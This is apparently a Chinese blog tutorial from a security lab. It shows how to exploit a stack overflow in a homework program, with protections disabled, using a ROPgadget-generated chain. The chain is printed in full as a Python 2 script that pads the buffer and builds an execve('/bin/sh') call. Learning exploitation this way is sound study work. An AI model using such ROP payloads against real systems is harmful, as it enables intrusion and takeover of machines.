使用ROP攻击利用栈溢出漏洞

使用ROP攻击利用栈溢出漏洞

环境:ubuntu16.04, gcc, python2.7

说明:为了成功实现Return2LibC攻击,这里关闭了可执行栈、关闭了StackGuard、关闭了地址随机化,终极目标是执行 system("/bin/sh")

⭐️⭐️注意⭐️⭐️:这是承接上一篇文章使用Return2LibC利用栈溢出漏洞的,栈溢出漏洞程序和上一篇相同

1. 安装ROPgadget

对于ubuntu16.04,默认安装了python2,只需要安装pip即可,然后再安装ROPgadget依赖capstone,就能顺利安装ROPgadget了,命令如下:

sudoapt-get install python-pip  
sudopip install capstone  
sudopip install ROPgadget  

2. 实现ROP攻击

homework2测试程序来自这篇文章

安装好之后就直接使用ROPgadget分析homework2,但是会提示Can’t find the ‘mov dword ptr[r32], r32’ gadget,说明缺少代码块,如下图所示。

cDRDjx.png

由于代码段太少了,我们进行静态编译,将库函数都直接编译进可执行文件中。

gcc -fno-stack-protector -z noexecstack -static -o homework2 homework2.c    

cDRqUg.png

再使用ROPgadget分析一下测试程序,成功生成了gadget链

cDRj8s.png

生成了gadget链之后,我们还需要做一些padding,由上一次return2libc实验可以知道,想覆盖[esp+4]需要预先填充37个字节,于是padding后的代码如下:

#/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
for i in range(37):
    p += pack('<B', 0xaa)
p += pack('<I', 0x0806f1db) # pop edx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080b8c86) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08054a9b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f1db) # pop edx ; ret
p += pack('<I', 0x080eb064) # @ .data + 4
p += pack('<I', 0x080b8c86) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08054a9b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f1db) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080494a3) # xor eax, eax ; ret
p += pack('<I', 0x08054a9b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080df505) # pop ecx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x0806f1db) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080494a3) # xor eax, eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0807ac96) # inc eax ; ret
p += pack('<I', 0x0806cde5) # int 0x80
badfile = open("badfile", "wb")
badfile.write(p)
badfile.close()

运行上述脚本就能得到我们的badfile,如下图(注意使用python2执行)

cDWuqK.png

然后再运行测试程序,就成功实现了ROP攻击,获得了一个shell

cDfCQI.png

  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值